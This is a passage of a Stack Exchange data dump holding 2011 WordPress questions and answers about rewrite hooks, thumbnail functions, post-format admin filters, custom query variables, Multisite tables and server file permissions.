looking for an action which gets called before the rules are collated by &lt;code&gt;flush_rewrite_rules&lt;/code&gt;, which I can hook for my &lt;code&gt;add_rewrite_rule&lt;/code&gt; calls to be sure all rules are present before they are compiled, but I've not found one. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="7927" LastEditorUserId="7927" LastEditorDisplayName="" LastEditDate="2011-08-16T17:19:51.323" LastActivityDate="2011-08-16T17:35:12.017" Title="When to call `add_rewrite_rule` for safety" Tags="&lt;url-rewriting&gt;&lt;hooks&gt;&lt;rewrite-rules&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26030" PostTypeId="1" AcceptedAnswerId="27743" CreationDate="2011-08-16T11:23:48.333" Score="0" ViewCount="29" Body="&lt;p&gt;I have a widget which I want to add a couple of options. The options are effectively 'global' for the widget - username and password details to a secured web service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in effect, wherever the widget is used the same parameters will be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume I should use an add_options_page?&#xA;Or ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add options on the widget itself?&#xA;Or ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can you do both?&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-09-05T13:11:16.630" Title="Widget options - where to put them?" Tags="&lt;widgets&gt;&lt;options&gt;" AnswerCount="1" />
  <row Id="26031" PostTypeId="1" AcceptedAnswerId="26033" CreationDate="2011-08-16T11:26:40.000" Score="0" ViewCount="23" Body="&lt;p&gt;Two years ago in StackOverflow there was an interesting question about using specific thumbnails, small, medium or large images on different parts of the site. The question, &lt;a href=&quot;http://stackoverflow.com/questions/1975279/wordpress-wp-get-attachment-thumb-url&quot;&gt;available here&lt;/a&gt;, was &lt;a href=&quot;http://stackoverflow.com/questions/1975279/wordpress-wp-get-attachment-thumb-url/1975370#1975370&quot;&gt;well answered&lt;/a&gt; by one of the users, Doug Neiner, who proposed to use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  function get_attached_images(){&#xA;    // This function runs in &quot;the_loop&quot;, you could run this out of the loop but&#xA;    // you would need to change this to $post = $valid_post or something other than&#xA;    // using the global post declaration.&#xA;    global $post; &#xA;    $args = array(&#xA;      'post_type' =&amp;gt; 'attachment',&#xA;      'numberposts' =&amp;gt; 1,&#xA;      'post_status' =&amp;gt; null,&#xA;      'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;      'order' =&amp;gt; 'ASC',&#xA;      'orderby' =&amp;gt; 'menu_order'&#xA;      ); &#xA;    $attachment = get_posts($args); // Get attachment&#xA;    if ($attachment) {&#xA;      $img = wp_get_attachment_image_src($attachment[0]-&amp;gt;ID, $size = 'full'); ?&amp;gt;&#xA;      &amp;lt;img alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $img[0] ; ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo $img[1] ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $img[2] ?&amp;gt;&quot;/&amp;gt;&#xA;  &amp;lt;?php }&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that is not what I exactly need, because this code has to be inserted in every loop on my index.php or single.php (for example) to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be possible to create that code on the functions.php and then call that code from each loop? This would be smarter and more elegant, I guess, because using all that code everytime on each loop seems a bit inelegant... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there other ways to do this?&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-16T12:17:56.607" Title="Using different size thumbnails on different parts of my site... with functions.php?" Tags="&lt;images&gt;&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="26032" PostTypeId="1" AcceptedAnswerId="26041" CreationDate="2011-08-16T11:28:06.953" Score="2" ViewCount="42" Body="&lt;p&gt;I need to filter my posts by Post-Formats in admin ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, Wordpress allows to filter by Categories and Dates.&lt;/p&gt;&#xA;" OwnerUserId="2000" LastActivityDate="2011-08-18T21:19:01.203" Title="How to filter by post-format in admin?" Tags="&lt;wp-admin&gt;&lt;filters&gt;&lt;post-formats&gt;" AnswerCount="2" />
  <row Id="26033" PostTypeId="2" ParentId="26031" CreationDate="2011-08-16T12:17:56.607" Score="1" ViewCount="" Body="&lt;p&gt;The code you posted is a &lt;em&gt;function definition&lt;/em&gt;, and function definitions &lt;em&gt;belong in &lt;code&gt;functions.php&lt;/code&gt; to begin with&lt;/em&gt;. Simply move the code to &lt;code&gt;functions.php&lt;/code&gt;, and then call it from wherever you need it in your template files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a variable image sizes, you simply need to pass an argument to the function. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  function mytheme_get_attached_images( $size = 'full' ){&#xA;    // This function runs in &quot;the_loop&quot;, you could run this out of the loop but&#xA;    // you would need to change this to $post = $valid_post or something other than&#xA;    // using the global post declaration.&#xA;    global $post; &#xA;    $args = array(&#xA;      'post_type' =&amp;gt; 'attachment',&#xA;      'numberposts' =&amp;gt; 1,&#xA;      'post_status' =&amp;gt; null,&#xA;      'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;      'order' =&amp;gt; 'ASC',&#xA;      'orderby' =&amp;gt; 'menu_order'&#xA;      ); &#xA;    $attachment = get_posts($args); // Get attachment&#xA;    if ( $attachment ) {&#xA;      $img = wp_get_attachment_image_src( $attachment[0]-&amp;gt;ID, $size ); ?&amp;gt;&#xA;      &amp;lt;img alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; src=&quot;&amp;lt;?php echo $img[0] ; ?&amp;gt;&quot; width=&quot;&amp;lt;?php echo $img[1] ?&amp;gt;&quot; height=&quot;&amp;lt;?php echo $img[2] ?&amp;gt;&quot;/&amp;gt;&#xA;  &amp;lt;?php }&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, when you call the function, it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php mytheme_get_attached_images( 'medium' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note: there are other ways the code could be improved; this just shows you how to use the existing code for your purposes.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-16T12:17:56.607" CommentCount="1" />
  <row Id="26036" PostTypeId="1" AcceptedAnswerId="26038" CreationDate="2011-08-16T13:44:01.003" Score="0" ViewCount="35" Body="&lt;p&gt;Sorry if this is a silly question but is it possible to have a taglist as a dropdown? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page where users can post theyre own content, and I would like them to be able to choose certain tags as a dropdown, is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the page so you can see&#xA;&lt;a href=&quot;http://wordpress.art-williams.com/add-destination&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.art-williams.com/add-destination&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help what so ever, anything is a huge help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6999" LastActivityDate="2011-08-17T05:48:35.900" Title="Tags as a dropdown with set tags" Tags="&lt;tags&gt;&lt;dropdown&gt;" AnswerCount="1" />
  <row Id="26037" PostTypeId="2" ParentId="26016" CreationDate="2011-08-16T14:02:25.843" Score="2" ViewCount="" Body="&lt;p&gt;To extand Marc Duncans (a.k.a. @t31os) answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You multiple ways to question &quot;&lt;code&gt;if ( $some_val_A IS $some_val_B )&lt;/code&gt;&quot;. There is a &lt;em&gt;difference&lt;/em&gt; between &lt;em&gt;equal&lt;/em&gt; and &lt;em&gt;identical&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$real_world_ex = get_post_meta( $post_id, 'ratings_users', true );&#xA;&#xA;// Example: test this in your functions.php&#xA;function wpse26016_test_vars( $real_world_ex = '' )&#xA;{&#xA;    $some_int = (int) 1;&#xA;    $some_bool = (bool) 1;&#xA;    $some_string = (string) 1;&#xA;&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;        echo 'I\'m an integer: ';&#xA;            var_dump( $some_int );&#xA;        echo '&amp;lt;br /&amp;gt;I\'m some boolean: ';&#xA;            var_dump( $some_bool );&#xA;        echo '&amp;lt;br /&amp;gt;I\'m some string: ';&#xA;            var_dump( $some_string );&#xA;&#xA;    echo '&amp;lt;hr&amp;gt;&amp;lt;strong&amp;gt;Now we can see some comparison&amp;lt;strong&amp;gt;&amp;lt;br /&amp;gt;';&#xA;        echo '&amp;lt;br /&amp;gt;I test if integer is &amp;lt;em&amp;gt;equal&amp;lt;/em&amp;gt; boolean (notice the 2 &quot;=&quot;-signs): ';&#xA;            var_dump( $some_int == $some_bool );&#xA;        echo '&amp;lt;br /&amp;gt;I test if integer is &amp;lt;em&amp;gt;identical&amp;lt;/em&amp;gt; boolean (notice the 3 &quot;=&quot;-signs): ';&#xA;            var_dump( $some_int === $some_bool );&#xA;        echo '&amp;lt;br /&amp;gt;I test if integer is &amp;lt;em&amp;gt;not equal&amp;lt;/em&amp;gt; boolean: ';&#xA;            var_dump( $some_int != $some_bool );&#xA;        echo '&amp;lt;br /&amp;gt;I test if integer is &amp;lt;em&amp;gt;not identical&amp;lt;/em&amp;gt; boolean: ';&#xA;            var_dump( $some_int !== $some_bool );&#xA;&#xA;    echo '&amp;lt;hr&amp;gt;&amp;lt;strong&amp;gt;Now some real world example&amp;lt;strong&amp;gt;&amp;lt;br /&amp;gt;';&#xA;        echo '&amp;lt;br /&amp;gt;This is the dump of what's inside your meta data: ';&#xA;            var_dump( $real_world_ex );&#xA;&#xA;        echo '&amp;lt;br /&amp;gt;I test if integer is &amp;lt;em&amp;gt;equal&amp;lt;/em&amp;gt; to your meta data: ';&#xA;            var_dump( $some_int == $real_world_ex );&#xA;        echo '&amp;lt;br /&amp;gt;I test if integer is &amp;lt;em&amp;gt;identical&amp;lt;/em&amp;gt; to your meta data: ';&#xA;            var_dump( $some_int === $real_world_ex );&#xA;&#xA;        echo '&amp;lt;br /&amp;gt;I test if boolean is &amp;lt;em&amp;gt;equal&amp;lt;/em&amp;gt; to your meta data: ';&#xA;            var_dump( $some_bool == $real_world_ex );&#xA;        echo '&amp;lt;br /&amp;gt;I test if boolean is &amp;lt;em&amp;gt;identical&amp;lt;/em&amp;gt; to your meta data: ';&#xA;            var_dump( $some_bool === $real_world_ex );&#xA;&#xA;        echo '&amp;lt;br /&amp;gt;I test if string is &amp;lt;em&amp;gt;equal&amp;lt;/em&amp;gt; to your meta data: ';&#xA;            var_dump( $some_string == $real_world_ex );&#xA;        echo '&amp;lt;br /&amp;gt;I test if string is &amp;lt;em&amp;gt;identical&amp;lt;/em&amp;gt; to your meta data: ';&#xA;            var_dump( $some_string === $real_world_ex );&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see (when you paste &lt;code&gt;wpse26016_test_vars()&lt;/code&gt; in your template), there's a difference between comparing &quot;against value&quot; &lt;em&gt;or&lt;/em&gt; type &quot;against value &lt;strong&gt;and&lt;/strong&gt; type&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this function always to see if you're doing it right :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-16T14:02:25.843" CommentCount="2" />
  <row Id="26038" PostTypeId="2" ParentId="26036" CreationDate="2011-08-16T14:12:03.473" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_dropdown_categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_dropdown_categories()&lt;/code&gt;&lt;/a&gt; to create your dropdown:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_dropdown_categories(array('taxonomy'=&amp;gt; 'post_tag','hide_empty' =&amp;gt; 0, 'name' =&amp;gt; 'my_tags'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;the reason you are getting the term ID is because &lt;code&gt;wp_dropdown_categories&lt;/code&gt; sets the ID's as values so instead of just echo'ing it out you need to get the term, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$term = get_term_by('id',$your_id,'post_tag');&#xA;echo $term-&amp;gt;name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-17T05:48:35.900" LastActivityDate="2011-08-17T05:48:35.900" CommentCount="15" />
  <row Id="26039" PostTypeId="2" ParentId="3605" CreationDate="2011-08-16T14:18:08.873" Score="-1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://YOUR_IMAGE_URL&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method works for &quot;like&quot;:s but later on if you want to share a link in ur log(For example.) this picture is autoselected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without this meta tag you are able to select from all the images on the linked site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know any way to keep the static &quot;like&quot; image but still make you choose an image when sharing a url?&lt;/p&gt;&#xA;" OwnerUserId="7935" LastActivityDate="2011-08-16T14:18:08.873" />
  <row Id="26040" PostTypeId="1" CreationDate="2011-08-16T14:18:15.193" Score="0" ViewCount="33" Body="&lt;p&gt;&lt;strong&gt;SETUP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to pull a query variable from the URL and use it on my single post template (single.php). For example: mysite.com/2011/07/29/testPost/?myvar=someValue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do so, I added the custom query variable to functions.php like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('query_vars', 'parameter_queryvars' );&#xA;&#xA;function parameter_queryvars( $qvars ) {&#xA;    $qvars[] = 'myvar';&#xA;    return $qvars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in single.php and index.php I added the following code to test if the custom variable was set and echo a string if true. I also printed the contents of $wp_query-&gt;query_vars so I could see if my custom variable was there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    global $wp_query;&#xA;    if( isset( $wp_query-&amp;gt;query_vars['myvar'] )) {&#xA;        echo 'custom variable recognized';&#xA;    }&#xA;    print_r($wp_query-&amp;gt;query_vars);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROBLEM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I access a URL like mysite.com/2011/07/29/testPost/?myvar=someValue, which uses the single.php template, the echo command is not displayed and the output of print_r() shows that my 'myvar' is absent from the list of query_vars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output from single.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [p] =&amp;gt; 0 [page] =&amp;gt; 0 [year] =&amp;gt; 2011 [monthnum] =&amp;gt; 7 [day] =&amp;gt; 29 [name] =&amp;gt; testpost [error] =&amp;gt; [m] =&amp;gt; 0 [post_parent] =&amp;gt; [subpost] =&amp;gt; [subpost_id] =&amp;gt; [attachment] =&amp;gt; [attachment_id] =&amp;gt; 0 [static] =&amp;gt; [pagename] =&amp;gt; [page_id] =&amp;gt; 0 [second] =&amp;gt; [minute] =&amp;gt; [hour] =&amp;gt; [w] =&amp;gt; 0 [category_name] =&amp;gt; [tag] =&amp;gt; [cat] =&amp;gt; [tag_id] =&amp;gt; [author_name] =&amp;gt; [feed] =&amp;gt; [tb] =&amp;gt; [paged] =&amp;gt; 0 [comments_popup] =&amp;gt; [meta_key] =&amp;gt; [meta_value] =&amp;gt; [preview] =&amp;gt; [s] =&amp;gt; [sentence] =&amp;gt; [fields] =&amp;gt; [category__in] =&amp;gt; Array ( ) [category__not_in] =&amp;gt; Array ( ) [category__and] =&amp;gt; Array ( ) [post__in] =&amp;gt; Array ( ) [post__not_in] =&amp;gt; Array ( ) [tag__in] =&amp;gt; Array ( ) [tag__not_in] =&amp;gt; Array ( ) [tag__and] =&amp;gt; Array ( ) [tag_slug__in] =&amp;gt; Array ( ) [tag_slug__and] =&amp;gt; Array ( ) [ignore_sticky_posts] =&amp;gt; [suppress_filters] =&amp;gt; [cache_results] =&amp;gt; 1 [update_post_term_cache] =&amp;gt; 1 [update_post_meta_cache] =&amp;gt; 1 [post_type] =&amp;gt; [posts_per_page] =&amp;gt; 150 [nopaging] =&amp;gt; [comments_per_page] =&amp;gt; 50 [no_found_rows] =&amp;gt; [order] =&amp;gt; DESC [orderby] =&amp;gt; wp_posts.post_date DESC )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I access a URL like mysite.com/?myvar=someValue, which uses the index.php template, the echo command is output and you can see the first variable output by print_r() is the 'myvar' I am looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [myvar] =&amp;gt; someValue [error] =&amp;gt; [m] =&amp;gt; 0 [p] =&amp;gt; 0 [post_parent] =&amp;gt; [subpost] =&amp;gt; [subpost_id] =&amp;gt; [attachment] =&amp;gt; [attachment_id] =&amp;gt; 0 [name] =&amp;gt; [static] =&amp;gt; [pagename] =&amp;gt; [page_id] =&amp;gt; 0 [second] =&amp;gt; [minute] =&amp;gt; [hour] =&amp;gt; [day] =&amp;gt; 0 [monthnum] =&amp;gt; 0 [year] =&amp;gt; 0 [w] =&amp;gt; 0 [category_name] =&amp;gt; [tag] =&amp;gt; [cat] =&amp;gt; [tag_id] =&amp;gt; [author_name] =&amp;gt; [feed] =&amp;gt; [tb] =&amp;gt; [paged] =&amp;gt; 0 [comments_popup] =&amp;gt; [meta_key] =&amp;gt; [meta_value] =&amp;gt; [preview] =&amp;gt; [s] =&amp;gt; [sentence] =&amp;gt; [fields] =&amp;gt; [category__in] =&amp;gt; Array ( ) [category__not_in] =&amp;gt; Array ( ) [category__and] =&amp;gt; Array ( ) [post__in] =&amp;gt; Array ( ) [post__not_in] =&amp;gt; Array ( ) [tag__in] =&amp;gt; Array ( ) [tag__not_in] =&amp;gt; Array ( ) [tag__and] =&amp;gt; Array ( ) [tag_slug__in] =&amp;gt; Array ( ) [tag_slug__and] =&amp;gt; Array ( ) [meta_query] =&amp;gt; Array ( ) [ignore_sticky_posts] =&amp;gt; [suppress_filters] =&amp;gt; [cache_results] =&amp;gt; 1 [update_post_term_cache] =&amp;gt; 1 [update_post_meta_cache] =&amp;gt; 1 [post_type] =&amp;gt; [posts_per_page] =&amp;gt; 150 [nopaging] =&amp;gt; [comments_per_page] =&amp;gt; 50 [no_found_rows] =&amp;gt; [order] =&amp;gt; DESC [orderby] =&amp;gt; wp_posts.post_date DESC )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would the custom query variable be properly set on an index.php page but not on single.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested with all plugins off and tried with default permalinks, but got the same results.&lt;/p&gt;&#xA;" OwnerUserId="7936" LastEditorUserId="7936" LastEditorDisplayName="" LastEditDate="2011-08-16T14:37:49.123" LastActivityDate="2011-08-16T14:58:30.493" Title="Custom URL parameters in template files" Tags="&lt;theme-development&gt;&lt;php&gt;&lt;wp-query&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26041" PostTypeId="2" ParentId="26032" CreationDate="2011-08-16T14:25:09.800" Score="2" ViewCount="" Body="&lt;p&gt;Try this plugin i cooked up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: admin-filter-by-post-format&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: answer to How to filter by post-format in admin?&#xA;http://wordpress.stackexchange.com/questions/26032/how-to-filter-by-post-format-in-admin&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;add_filter( 'parse_query', 'my_admin_posts_filter' );&#xA;add_action( 'restrict_manage_posts', 'ba_admin_posts_filter_restrict_manage_posts_format' );&#xA;&#xA;function my_admin_posts_filter( &amp;amp;$query )&#xA;{&#xA;    global $pagenow;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp; isset($_GET['p_format']) &amp;amp;&amp;amp; $_GET['p_format'] != '-1') {&#xA;&#xA;            $query-&amp;gt;query_vars['tax_query'] = array(array(&#xA;            'taxonomy' =&amp;gt; 'post_format',&#xA;            'field' =&amp;gt; 'ID',&#xA;            'terms' =&amp;gt; array($_GET['p_format'])));&#xA;&#xA;    }&#xA;}&#xA;&#xA;&#xA;function ba_admin_posts_filter_restrict_manage_posts_format()&#xA;{&#xA;    wp_dropdown_categories(array('taxonomy'=&amp;gt; 'post_format','hide_empty' =&amp;gt; 0, 'name' =&amp;gt; 'p_format', 'show_option_none' =&amp;gt; 'Select Post Format'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-16T16:40:59.467" LastActivityDate="2011-08-16T16:40:59.467" CommentCount="5" />
  <row Id="26042" PostTypeId="1" AcceptedAnswerId="26046" CreationDate="2011-08-16T14:56:20.420" Score="0" ViewCount="35" Body="&lt;p&gt;I ask because I cannot find the options from a plug-in I created on my second blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding this plug-in to the main site and the options show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused because there is a column in &lt;strong&gt;wp_options&lt;/strong&gt; table &lt;strong&gt;blog_id&lt;/strong&gt; and I was expecting there to be more than one value there.&lt;/p&gt;&#xA;" OwnerUserId="970" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-16T15:12:23.897" LastActivityDate="2011-08-16T15:12:23.897" Title="Does WordPress MultiSite use separate MySql databases?" Tags="&lt;multisite&gt;&lt;database&gt;&lt;options&gt;&lt;configuration&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26043" PostTypeId="2" ParentId="26040" CreationDate="2011-08-16T14:58:30.493" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;global $wp_query&lt;/code&gt; object is not what you are looking for by the time you get to single.php. Instead use &lt;code&gt;global $wp&lt;/code&gt;  object. Try changing your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $wp;&#xA; if (array_key_exists('myvar', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; isset($wp-&amp;gt;query_vars['myvar'])){&#xA;    echo 'custom variable recognized';&#xA; }&#xA; print_r($wp-&amp;gt;query_vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-16T14:58:30.493" CommentCount="9" />
  <row Id="26044" PostTypeId="2" ParentId="26042" CreationDate="2011-08-16T15:02:17.713" Score="1" ViewCount="" Body="&lt;p&gt;Although WordPress MU requires just a single database, as seen on &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt;, you can always use different databases if you prefer to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins such as &lt;a href=&quot;http://premium.wpmudev.org/project/multi-db&quot; rel=&quot;nofollow&quot;&gt;Multi-DB&lt;/a&gt; allow you to do so, and although this wouldn't be much needed for a small-medium network, it would be interesting for large setups. &lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-16T15:02:17.713" CommentCount="1" />
  <row Id="26045" PostTypeId="1" AcceptedAnswerId="26052" CreationDate="2011-08-16T14:42:19.883" Score="1" ViewCount="53" Body="&lt;p&gt;I'm trying to set up a WordPress site on a LAMP stack on Debian 6.0. From the &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress#File_permissions&quot; rel=&quot;nofollow&quot;&gt;WordPress documentation&lt;/a&gt; (and my experience on shared hosts) the correct permissions should be as follows&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All files should be owned by your user account, and should be writable by you. Any file that needs write access from WordPress should be group-owned by the user account used by the webserver.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've managed to setup my server to have 755 permissions on all directories and 644 on all files. However, WordPress is still not able to create folders for uploads and upgrades. I'm guessing that this is because WordPress is not running as my user account, but as www-data and therefore it needs group write permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make WordPress run as my account? Or am I on the wrong track?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to this, having outgrown shared hosting and setting up my first VPS. I would really appreciate it if you could answer in as much detail as possible.&lt;/p&gt;&#xA;" OwnerUserId="7938" LastActivityDate="2011-08-16T16:04:47.907" Title="How do I get the right permissions for WordPress running Apache on Debian" Tags="&lt;apache&gt;&lt;permissions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26046" PostTypeId="2" ParentId="26042" CreationDate="2011-08-16T15:09:13.407" Score="2" ViewCount="" Body="&lt;p&gt;WordPress MU uses one database and each blog gets his own tables with the blog id in the prefix, so once you install a network installation your database should have these tables:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp_1_categories&lt;/li&gt;&#xA;&lt;li&gt;wp_1_comments&lt;/li&gt;&#xA;&lt;li&gt;wp_1_link2cat&lt;/li&gt;&#xA;&lt;li&gt;wp_1_links&lt;/li&gt;&#xA;&lt;li&gt;wp_1_options&lt;/li&gt;&#xA;&lt;li&gt;wp_1_post2cat&lt;/li&gt;&#xA;&lt;li&gt;wp_1_postmeta&lt;/li&gt;&#xA;&lt;li&gt;wp_1_posts&lt;/li&gt;&#xA;&lt;li&gt;wp_blogs&lt;/li&gt;&#xA;&lt;li&gt;wp_blog_versions&lt;/li&gt;&#xA;&lt;li&gt;wp_registration_log&lt;/li&gt;&#xA;&lt;li&gt;wp_signups&lt;/li&gt;&#xA;&lt;li&gt;wp_site&lt;/li&gt;&#xA;&lt;li&gt;wp_sitecategories&lt;/li&gt;&#xA;&lt;li&gt;wp_sitemeta&lt;/li&gt;&#xA;&lt;li&gt;wp_usermeta&lt;/li&gt;&#xA;&lt;li&gt;wp_users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And every new site you set up will create separate tables for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wp_2_categories&lt;/li&gt;&#xA;&lt;li&gt;wp_2_comments&lt;/li&gt;&#xA;&lt;li&gt;wp_2_link2cat&lt;/li&gt;&#xA;&lt;li&gt;wp_2_links&lt;/li&gt;&#xA;&lt;li&gt;wp_2_options&lt;/li&gt;&#xA;&lt;li&gt;wp_2_post2cat&lt;/li&gt;&#xA;&lt;li&gt;wp_2_postmeta&lt;/li&gt;&#xA;&lt;li&gt;wp_2_posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-16T15:09:13.407" CommentCount="1" />
  <row Id="26047" PostTypeId="2" ParentId="26032" CreationDate="2011-08-16T15:37:10.787" Score="0" ViewCount="" Body="&lt;p&gt;I was actually already working on a solution for you, just had to rewrite several parts of the code(because i based it off another plugin i wrote that does the same but for page templates on hierarchal types).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a little bigger than Bainternet's plugin, so by all means stick to his solution if you're happy with it(don't feel obligated to switch is all i'm saying), i'm going to post it up anyway, for the sake of anyone who may be interested. It'll work for any post type that supports post formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit/Update:&lt;/strong&gt; &lt;em&gt;Decided i might aswell put the code into a proper plugin, also did the same for adding a page template filter to hierarchal post types(that support page templates). Linked below for anyone interested,&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/post-format-filter/&quot; rel=&quot;nofollow&quot;&gt;Post Format Filter&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/page-template-filter/&quot; rel=&quot;nofollow&quot;&gt;Page Template Filter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that's helpful.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-18T21:19:01.203" LastActivityDate="2011-08-18T21:19:01.203" CommentCount="1" />
